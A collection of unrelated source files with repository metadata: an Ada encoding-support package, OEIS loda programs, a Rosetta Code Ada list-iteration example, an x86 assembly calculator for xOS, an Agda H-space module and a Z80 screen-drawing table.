36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
asnip-support.ada | mgrojo/ASnip | 0 | 17975 | <filename>asnip-support.ada<gh_stars>0
--------------------------------------------------------------------------
-- ASnip Source Code Decorator
-- Copyright (C) 2006, <NAME>
--
-- 1. Permission is hereby granted to use, copy, modify and/or distribute
-- this package, provided that:
-- * copyright notices are retained unchanged,
-- * any distribution of this package, whether modified or not,
-- includes this license text.
-- 2. Permission is hereby also granted to distribute binary programs which
-- depend on this package. If the binary program depends on a modified
-- version of this package, you are encouraged to publicly release the
-- modified version of this package.
--
-- THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT WARRANTY. ANY EXPRESS OR
-- IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-- WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-- DISCLAIMED. IN NO EVENT SHALL THE AUTHORS BE LIABLE TO ANY PARTY FOR
-- ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-- DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THIS PACKAGE.
--------------------------------------------------------------------------
-- eMail: <EMAIL>
with Ada.Strings.Wide_Maps;
private package ASnip.Support is
type WORD is access constant WIDE_STRING;
-- used for constant definitions of reserved words
function "+"(s: WIDE_STRING) return WORD;
-- an allocated WORD object storing the characters of `s`
generic
with function test(c: CHAR) return BOOLEAN;
function find_first(container: STR) return NATURAL;
-- index of the first character in `container` such that `test`
-- yields true when applied to the character, or 0
subtype WORDS_IDX is POSITIVE range 1 .. 2_000;
-- at most that many reserved words
type WORDLIST is array(WORDS_IDX range <>) of WORD;
-- Lists of reserved language words
use Ada.Strings.Wide_Maps;
Comp_Mapping: constant WIDE_CHARACTER_MAPPING :=
-- for making a comparison of reserved names case insensitive
to_mapping("abcdefghijklmnopqrstuvxyz",
"ABCDEFGHIJKLMNOPQRSTUVXYZ");
type LOCALE_ENV_VAR_NAMES is (LC_CTYPE, LANG, LC_ALL);
-- names of environment variables telling the character set in use
function input_encoding return SUPPORTED_ENCODING;
-- The character encoding found in the enviroment.
-- If there is none, returns the default. (Currently this
-- is ISO_8859, for hysteric raisins.)
function to_UTF_8 (s: STR) return STRING;
-- `s` as a string of `CHARACTER` octets, UTF-8 encoded
end;
with get_env_var;
with Ada.Command_Line;
with Ada.Strings.Wide_Fixed;
with Ada.Strings.Fixed;
with Ada.Characters.Handling;
with Interfaces;
package body ASnip.Support is
no_encoding_found: exception;
function encoding_from_environment return SUPPORTED_ENCODING;
-- The character encoding found in the enviroment, if any. Uses
-- the values in `LOCALE_ENV_VAR_NAMES`.
function encoding_from_command_line return SUPPORTED_ENCODING;
-- The character encoding found as the first command line
-- argument, if any. TODO rework/remove...!
function "+"(s: WIDE_STRING) return WORD is
use Ada.Strings.Wide_Fixed;
begin
return new STR'(translate(s, Comp_Mapping));
end "+";
function encoding_from_command_line return SUPPORTED_ENCODING is
use Ada.Command_Line, Ada.Strings.Fixed, Ada.Characters.Handling;
begin
if argument_count = 6 then
declare
arg: constant STRING := to_upper(argument(6));
begin
if arg = "UTF_8" or arg = "UTF-8" or arg = "UTF8" then
return UTF_8;
elsif arg = "UTF_16" or arg = "UTF-16" or arg = "UTF16" then
return UTF_16;
elsif index(arg, "ISO") > 0 and then index(arg, "8859") > 0 then
return ISO_8859;
end if;
end;
end if;
raise no_encoding_found;
end encoding_from_command_line;
function encoding_from_environment return SUPPORTED_ENCODING is
use Ada.Characters.Handling, Ada.Strings.Fixed;
var: LOCALE_ENV_VAR_NAMES := LOCALE_ENV_VAR_NAMES'first;
begin
-- (Possible enhancement: See whether there is a BE or LE suffix
-- after UTF-16. Make all `IO.next_char_16*` functions read byte-wise
-- then, and rotate when necessary.)
env_search:
loop
declare
locale: constant STRING :=
get_env_var(LOCALE_ENV_VAR_NAMES'image(var));
begin
if locale /= "" then
declare
val: constant STRING := to_upper(locale);
begin
if index(source => val, pattern => "8859") > 0 then
return ISO_8859;
elsif index(source => val, pattern => "UTF-8") > 0 then
return UTF_8;
elsif index(source => val, pattern => "UTF-16") > 0 then
if index(source => val, pattern => "LE") > 0 then
return UTF_16LE;
else
return UTF_16;
end if;
end if;
end;
end if;
end;
exit when var = LOCALE_ENV_VAR_NAMES'last;
-- nothing found
var := LOCALE_ENV_VAR_NAMES'succ(var);
end loop env_search;
raise no_encoding_found;
end encoding_from_environment;
function find_first(container: STR) return NATURAL is
begin
for k in container'range loop
if test(container(k)) then
return k;
end if;
end loop;
return 0;
end;
function input_encoding return SUPPORTED_ENCODING is
begin
return encoding_from_command_line;
exception
when no_encoding_found =>
begin
return encoding_from_environment;
exception
when no_encoding_found =>
return ISO_8859;
end;
end input_encoding;
function to_UTF_8 (s: STR) return STRING is
use Interfaces;
result: STRING(1.. 4 * s'length);
-- Unicode has at most 4 bytes for a UTF-8 encoded character
k: POSITIVE := result'first;
-- in the loop, points to the first insertion position of a
-- "byte sequence". (Can't use range because `s = ""` is possible.)
bits: UNSIGNED_32 := 2#0#;
-- the bits representing the WIDE_CHARACTER
subtype CH is Character;
-- abbreviation
B6: constant := 2#111111#;
begin
for j in s'range loop
bits := WIDE_CHARACTER'pos(s(j));
if bits <= 2#1111111# then
result(k) := Ch'Val(bits);
k := k + 1;
elsif bits <= 2#11111_111111# then
result(k .. k + 1) :=
(Ch'val(2#110_00000# or (shift_right(bits, 1 * 6) and 2#11111#)),
Ch'val(2#10_000000# or (shift_right(bits, 0 * 6) and B6)));
k := k + 2;
elsif
bits = 16#fffe#
or bits = 16#ffff#
then
-- ignore non-characters
null;
elsif bits <= 2#1111_111111_111111# then
result(k .. k + 2) :=
(Ch'val(2#1110_0000# or (shift_right(bits, 2 * 6) and 2#1111#)),
Ch'val(2#10_000000# or (shift_right(bits, 1 * 6) and B6)),
Ch'val(2#10_000000# or (shift_right(bits, 0 * 6) and B6)));
k := k + 3;
elsif bits <= 2#111_111111_111111_111111# then
result(k .. k + 3) :=
(Ch'val(2#11110_000# or (shift_right(bits, 3 * 6) and 2#111#)),
Ch'val(2#10_000000# or (shift_right(bits, 2 * 6) and B6)),
Ch'val(2#10_000000# or (shift_right(bits, 1 * 6) and B6)),
Ch'val(2#10_000000# or (shift_right(bits, 0 * 6) and B6)));
k := k + 4;
else
-- not Unicode
raise Constraint_Error;
end if;
end loop;
return result(1.. k - 1);
end to_UTF_8;
end ASnip.Support;
|
programs/oeis/068/A068344.asm | jmorken/loda | 1 | 2172 | <filename>programs/oeis/068/A068344.asm<gh_stars>1-10
; A068344: Square array read by antidiagonals of T(n,k) = sign(n-k).
; 0,-1,1,-1,0,1,-1,-1,1,1,-1,-1,0,1,1,-1,-1,-1,1,1,1,-1,-1,-1,0,1,1,1,-1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,0,1,1,1,1,-1,-1,-1,-1,-1,1,1,1,1,1,-1,-1,-1,-1,-1,0,1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,0,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,1
mov $2,$0
mov $4,$0
cmp $4,0
add $0,$4
div $2,$0
cal $0,279415 ; Triangle read by rows: T(n,k), n>=k>=1, is the number of right isosceles triangles with integral coordinates that have a bounding box of size n X k.
sub $2,2
sub $0,$2
sub $0,$2
add $3,$0
sub $3,2
mov $1,$3
mul $1,4
sub $1,5
sub $2,1
gcd $2,0
add $2,2
add $1,$2
sub $1,7
div $1,8
|
Task/Loops-Foreach/Ada/loops-foreach-3.ada | LaudateCorpus1/RosettaCodeData | 1 | 3547 | <filename>Task/Loops-Foreach/Ada/loops-foreach-3.ada
with Ada.Integer_Text_IO, Ada.Containers.Doubly_Linked_Lists;
use Ada.Integer_Text_IO, Ada.Containers;
procedure Doubly_Linked_List is
package DL_List_Pkg is new Doubly_Linked_Lists (Integer);
use DL_List_Pkg;
procedure Print_Node (Position : Cursor) is
begin
Put (Element (Position));
end Print_Node;
DL_List : List;
begin
DL_List.Append (1);
DL_List.Append (2);
DL_List.Append (3);
-- Iterates through every node of the list.
DL_List.Iterate (Print_Node'Access);
end Doubly_Linked_List;
|
calc/calc.asm | leonardoruilova/xos | 1 | 15974 |
;; Calculator application for xOS
;; Copyright (C) 2017 by <NAME>.
use32
org 0x8000000 ; programs are loaded to 128 MB, drivers to 2048 MB
application_header:
.id db "XOS1" ; tell the kernel we are a valid application
.type dd 0 ; 32-bit application
.entry dd main ; entry point
.reserved0 dq 0
.reserved1 dq 0
include "libxwidget/src/libxwidget.asm" ; widget library ;)
; these tell the application what the user wants to do
PLUS = 1
MINUS = 2
MULTIPLY = 3
DIVIDE = 4
; main:
; Program entry point
main:
; we have to call this in the beginning
call xwidget_init
; make a window
mov ax, 300
mov bx, 64
mov si, 180
mov di, 180
mov dx, 0
mov ecx, window_text
call xwidget_create_window
mov [window_handle], eax
; create the interface
mov eax, [window_handle]
mov cx, 4
mov dx, 32
mov esi, text7
call xwidget_create_button
mov [button7_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4
mov dx, 32
mov esi, text8
call xwidget_create_button
mov [button8_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4+32+8+4
mov dx, 32
mov esi, text9
call xwidget_create_button
mov [button9_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4+32+8+4+32+8+4
mov dx, 32
mov esi, text_plus
call xwidget_create_button
mov [plus_handle], eax
mov eax, [window_handle]
mov cx, 4
mov dx, 32+32+4
mov esi, text4
call xwidget_create_button
mov [button4_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4
mov dx, 32+32+4
mov esi, text5
call xwidget_create_button
mov [button5_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4+32+8+4
mov dx, 32+32+4
mov esi, text6
call xwidget_create_button
mov [button6_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4+32+8+4+32+8+4
mov dx, 32+32+4
mov esi, text_minus
call xwidget_create_button
mov [minus_handle], eax
mov eax, [window_handle]
mov cx, 4
mov dx, 32+32+4+32+4
mov esi, text1
call xwidget_create_button
mov [button1_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4
mov dx, 32+32+4+32+4
mov esi, text2
call xwidget_create_button
mov [button2_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4+32+8+4
mov dx, 32+32+4+32+4
mov esi, text3
call xwidget_create_button
mov [button3_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4+32+8+4+32+8+4
mov dx, 32+32+4+32+4
mov esi, text_mul
call xwidget_create_button
mov [mul_handle], eax
mov eax, [window_handle]
mov cx, 4
mov dx, 32+32+4+32+4+32+4
mov esi, textc
call xwidget_create_button
mov [c_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4
mov dx, 32+32+4+32+4+32+4
mov esi, text0
call xwidget_create_button
mov [button0_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4+32+8+4
mov dx, 32+32+4+32+4+32+4
mov esi, text_equal
call xwidget_create_button
mov [equal_handle], eax
mov eax, [window_handle]
mov cx, 4+32+8+4+32+8+4+32+8+4
mov dx, 32+32+4+32+4+32+4
mov esi, text_div
call xwidget_create_button
mov [div_handle], eax
.start:
mov [num1], 0
mov [num1_size], 0
mov [num2], 0
mov [num2_size], 0
mov [operation], 0
mov [number_text_pointer], number_text
mov [active_number], 0
mov edi, number_text
mov al, 0
mov ecx, 128
rep stosb
mov byte[number_text], "0"
mov eax, [window_handle]
mov cx, 8
mov dx, 8
mov esi, number_text
mov ebx, 0x000000
call xwidget_create_label
mov [label_handle], eax
.wait:
; wait here for event
call xwidget_wait_event
cmp eax, XWIDGET_CLOSE
je .close
cmp eax, XWIDGET_BUTTON ; buttonclick event
je .button_click
jmp .wait
.close:
call xwidget_destroy
mov ebp, 0x15
int 0x60
.button_click:
; ebx has the button which was pressed
cmp ebx, [button1_handle]
je .1
cmp ebx, [button2_handle]
je .2
cmp ebx, [button3_handle]
je .3
cmp ebx, [button4_handle]
je .4
cmp ebx, [button5_handle]
je .5
cmp ebx, [button6_handle]
je .6
cmp ebx, [button7_handle]
je .7
cmp ebx, [button8_handle]
je .8
cmp ebx, [button9_handle]
je .9
cmp ebx, [button0_handle]
je .0
cmp ebx, [plus_handle]
je .plus
cmp ebx, [minus_handle]
je .minus
cmp ebx, [mul_handle]
je .mul
cmp ebx, [div_handle]
je .div
cmp ebx, [c_handle]
je .clear
cmp ebx, [equal_handle]
je .equal
jmp .wait
.clear:
mov eax, [window_handle]
mov ebx, [label_handle]
call xwidget_destroy_component
jmp .start
.1:
mov al, 1
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "1"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.2:
mov al, 2
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "2"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.3:
mov al, 3
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "3"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.4:
mov al, 4
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "4"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.5:
mov al, 5
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "5"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.6:
mov al, 6
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "6"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.7:
mov al, 7
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "7"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.8:
mov al, 8
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "8"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.9:
mov al, 9
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "9"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.0:
mov al, 0
call input_number
jc .wait
mov edi, [number_text_pointer]
mov al, "0"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.plus:
cmp [active_number], 1
je .wait
inc [active_number]
mov [operation], PLUS
mov edi, [number_text_pointer]
mov al, "+"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.minus:
cmp [active_number], 1
je .wait
inc [active_number]
mov [operation], MINUS
mov edi, [number_text_pointer]
mov al, "-"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.mul:
cmp [active_number], 1
je .wait
inc [active_number]
mov [operation], MULTIPLY
mov edi, [number_text_pointer]
mov al, "*"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.div:
cmp [active_number], 1
je .wait
inc [active_number]
mov [operation], DIVIDE
mov edi, [number_text_pointer]
mov al, "/"
stosb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp .wait
.equal:
cmp [active_number], 0
je .wait
cmp [operation], 0 ; this condition should never be true
je .wait
mov [active_number], 0
cmp [operation], PLUS
je do_add
cmp [operation], MINUS
je do_minus
cmp [operation], MULTIPLY
je do_multiply
cmp [operation], DIVIDE
je do_divide
jmp .wait
do_add:
mov eax, [num1]
mov ebx, [num2]
add eax, ebx
mov [num1], eax
call count_digits
mov [num1_size], eax
mov [num2], 0
mov [num2_size], 0
mov [operation], 0
mov edi, number_text
mov ecx, 128
xor al,al
rep stosb
mov eax, [num1]
call int_to_string
call strlen
mov edi, number_text
mov ecx, eax
rep movsb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp main.wait
do_minus:
mov eax, [num1]
mov ebx, [num2]
sub eax, ebx
mov [num1], eax
call count_digits
mov [num1_size], eax
mov [num2], 0
mov [num2_size], 0
mov [operation], 0
mov edi, number_text
mov ecx, 128
xor al,al
rep stosb
mov eax, [num1]
call int_to_string
call strlen
mov edi, number_text
mov ecx, eax
rep movsb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp main.wait
do_multiply:
mov eax, [num1]
mov ebx, [num2]
mul ebx
mov [num1], eax
call count_digits
mov [num1_size], eax
mov [num2], 0
mov [num2_size], 0
mov [operation], 0
mov edi, number_text
mov ecx, 128
xor al,al
rep stosb
mov eax, [num1]
call int_to_string
call strlen
mov edi, number_text
mov ecx, eax
rep movsb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp main.wait
do_divide:
cmp [num2], 0 ; check for divide by zero
je .divide_error
mov eax, [num1]
mov ebx, [num2]
xor edx, edx
div ebx
mov [num1], eax
call count_digits
mov [num1_size], eax
mov [num2], 0
mov [num2_size], 0
mov [operation], 0
mov edi, number_text
mov ecx, 128
xor al,al
rep stosb
mov eax, [num1]
call int_to_string
call strlen
mov edi, number_text
mov ecx, eax
rep movsb
mov [number_text_pointer], edi
mov eax, [window_handle]
call xwidget_redraw
jmp main.wait
.divide_error:
mov esi, divide_error_text
mov ecx, divide_error_text_size
mov edi, number_text
rep movsb
mov eax, [window_handle]
call xwidget_redraw
.hang:
call xwidget_wait_event
cmp eax, XWIDGET_CLOSE
je main.close
jmp .hang
; count_digits:
; Counts the digits of a number
; In\ EAX = Number
; Out\ EAX = Digits count
align 4
count_digits:
cmp eax, 0
je .zero
xor ecx, ecx
.loop:
xor edx, edx
mov ebx, 10
div ebx
cmp eax, 0
jne .increment
cmp dl, 0
jne .increment
jmp .done
.increment:
inc ecx
jmp .loop
.done:
mov eax, ecx
ret
.zero:
xor eax, eax
ret
; int_to_string:
; Converts an unsigned integer to a string
; In\ EAX = Integer
; Out\ ESI = ASCIIZ string
int_to_string:
push eax
mov [.counter], 10
mov edi, .string
mov ecx, 10
mov eax, 0
rep stosb
mov esi, .string
add esi, 9
pop eax
.loop:
cmp eax, 0
je .done2
mov ebx, 10
mov edx, 0
div ebx
add dl, 48
mov byte[esi], dl
dec esi
sub byte[.counter], 1
cmp byte[.counter], 0
je .done
jmp .loop
.done:
mov esi, .string
ret
.done2:
cmp byte[.counter], 10
je .zero
mov esi, .string
.find_string_loop:
lodsb
cmp al, 0
jne .found_string
jmp .find_string_loop
.found_string:
dec esi
ret
.zero:
mov edi, .string
mov al, '0'
stosb
mov al, 0
stosb
mov esi, .string
ret
.string: times 11 db 0
.counter db 0
; strlen:
; Calculates string length
; In\ ESI = String
; Out\ EAX = String size
strlen:
push esi
xor ecx, ecx
.loop:
lodsb
cmp al, 0
je .done
inc ecx
jmp .loop
.done:
mov eax, ecx
pop esi
ret
; input_number:
; Inputs a number into the current active number
; In\ AL = Number (0-9)
; Out\ Nothing
align 4
input_number:
cmp [active_number], 0
je .1
.2:
cmp [num2_size], 9
jge .bad
push eax
mov eax, [num2]
mov ebx, 10
mul ebx
pop edx
and edx, 0xFF
add eax, edx
mov [num2], eax
inc [num2_size]
clc
ret
.1:
cmp [num1_size], 9
jge .bad
push eax
mov eax, [num1]
mov ebx, 10
mul ebx
pop edx
and edx, 0xFF
add eax, edx
mov [num1], eax
inc [num1_size]
clc
ret
.bad:
stc
ret
; xwidget_yield_handler:
; This is called by xwidget every time it is idle
xwidget_yield_handler:
ret
; Data...
window_text db "Calculator",0
text0 db "0",0
text1 db "1",0
text2 db "2",0
text3 db "3",0
text4 db "4",0
text5 db "5",0
text6 db "6",0
text7 db "7",0
text8 db "8",0
text9 db "9",0
textc db "C",0
text_equal db "=",0
text_plus db "+",0
text_minus db "-",0
text_mul db "*",0
text_div db "/",0
divide_error_text db "Divide by zero.",0
divide_error_text_size = $ - divide_error_text
active_number db 0
number_text: times 128 db 0
number_text_pointer dd number_text
num1 dd 0
num1_size dd 0
num2 dd 0
num2_size dd 0
operation db 0
window_handle dd 0
label_handle dd 0
button0_handle dd 0
button1_handle dd 0
button2_handle dd 0
button3_handle dd 0
button4_handle dd 0
button5_handle dd 0
button6_handle dd 0
button7_handle dd 0
button8_handle dd 0
button9_handle dd 0
plus_handle dd 0
minus_handle dd 0
mul_handle dd 0
div_handle dd 0
c_handle dd 0
equal_handle dd 0
|
programs/oeis/118/A118162.asm | neoneye/loda | 22 | 22013 | ; A118162: Start with 1 and repeatedly reverse the digits and add 60 to get the next term.
; 1,61,76,127,781,247,802,268,922,289,1042,2461,1702,2131,1372,2791,2032,2362,2692,3022,2263,3682,2923,3352,2593,4012,2164,4672,2824,4342,2494,5002,2065,5662,2725,5332,2395,5992,3055,5563,3715,5233,3385,5893,4045,5464,4705,5134,4375,5794,5035,5365,5695,6025,5266,6685,5926,6355,5596,7015,5167,7675,5827,7345,5497,8005,5068,8665,5728,8335,5398,8995,6058,8566,6718,8236,6388,8896,7048,8467,7708,8137,7378,8797,8038,8368,8698,9028,8269,9688,8929,9358,8599,10018,81061,16078,87121,12238,83281,18298
mov $2,$0
mov $0,1
lpb $2
seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
add $0,60
sub $2,1
lpe
|
homotopy/HSpace.agda | UlrikBuchholtz/HoTT-Agda | 1 | 1377 | <gh_stars>1-10
{-# OPTIONS --without-K #-}
open import HoTT
module homotopy.HSpace where
record HSpaceStructure {i} (A : Type i) : Type i where
constructor hSpaceStructure
field
e : A
μ : A → A → A
μe- : (a : A) → μ e a == a
μ-e : (a : A) → μ a e == a
module ConnectedHSpace {i} (A : Type i) (c : is-connected ⟨0⟩ A)
(hA : HSpaceStructure A) where
open HSpaceStructure hA
{-
Given that [A] is 0-connected, to prove that each [μ a] is an equivalence we
only need to prove that one of them is. But for [a] = [e], [μ a] is the
identity so we’re done.
-}
μ-is-equiv : (a : A) → is-equiv (μ a)
μ-is-equiv = prop-over-connected {a = e} c
(λ a → (is-equiv (μ a) , is-equiv-is-prop (μ a)))
(transport! is-equiv (λ= μe-) (idf-is-equiv A))
μ'-is-equiv : (a : A) → is-equiv (λ a' → μ a' a)
μ'-is-equiv = prop-over-connected {a = e} c
(λ a → (is-equiv (λ a' → μ a' a) , is-equiv-is-prop (λ a' → μ a' a)))
(transport! is-equiv (λ= μ-e) (idf-is-equiv A))
μ-equiv : A → A ≃ A
μ-equiv a = (μ a , μ-is-equiv a)
μ'-equiv : A → A ≃ A
μ'-equiv a = ((λ a' → μ a' a) , μ'-is-equiv a)
|
transformy/tables/gen/001c.asm | mborik/regression | 3 | 2477 | xor a
ld hl, basescradr + #082d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #082e
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08ee
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0b2f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0bb6
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0d0d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #100e
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #104f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #112f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0ece), a
ld (basescradr + #0ed5), a
ld (basescradr + #0f30), a
ld (basescradr + #0fce), a
ld (basescradr + #0fd5), a
ld a, 15
ld (basescradr + #0a2c), a
ld (basescradr + #0c6d), a
ld (basescradr + #0d6d), a
ld (basescradr + #0dae), a
ld (basescradr + #0eae), a
ld (basescradr + #100f), a
ld (basescradr + #110f), a
ld a, 7
ld hl, basescradr + #120f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #08ce), a
ld (basescradr + #0b2c), a
ld (basescradr + #0c2c), a
ld (basescradr + #0e6d), a
ld (basescradr + #0f6d), a
ld (basescradr + #0fae), a
ld a, 240
ld hl, basescradr + #0b96
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #08d5), a
ld (basescradr + #0951), a
ld (basescradr + #09d5), a
ld (basescradr + #0b2d), a
ld (basescradr + #1332), a
ld (basescradr + #1413), a
ld a, 255
ld hl, basescradr + #084d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0873
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0874
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a51
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a75
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0c2d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0c52
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1331
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1512
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0895), a
ld (basescradr + #0995), a
ld (basescradr + #0e53), a
ld (basescradr + #0f53), a
ld (basescradr + #0ff3), a
ld (basescradr + #1013), a
ld a, 192
ld (basescradr + #0875), a
ld (basescradr + #08b6), a
ld (basescradr + #0bd5), a
ld (basescradr + #0c2e), a
ld (basescradr + #0e2f), a
ld (basescradr + #1051), a
ld (basescradr + #1613), a
ld a, 3
ld hl, basescradr + #09ce
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0d2c
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #088d), a
ld (basescradr + #098d), a
ld (basescradr + #150f), a
ld (basescradr + #160f), a
ld a, 252
ld hl, basescradr + #0d76
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0896), a
ld (basescradr + #08f4), a
ld (basescradr + #0d2e), a
ld (basescradr + #0eb5), a
ld (basescradr + #1132), a
ld (basescradr + #1213), a
ld (basescradr + #1731), a
ld a, 254
ld (basescradr + #0975), a
ld (basescradr + #0cb5), a
ld (basescradr + #0db5), a
ld (basescradr + #0f2f), a
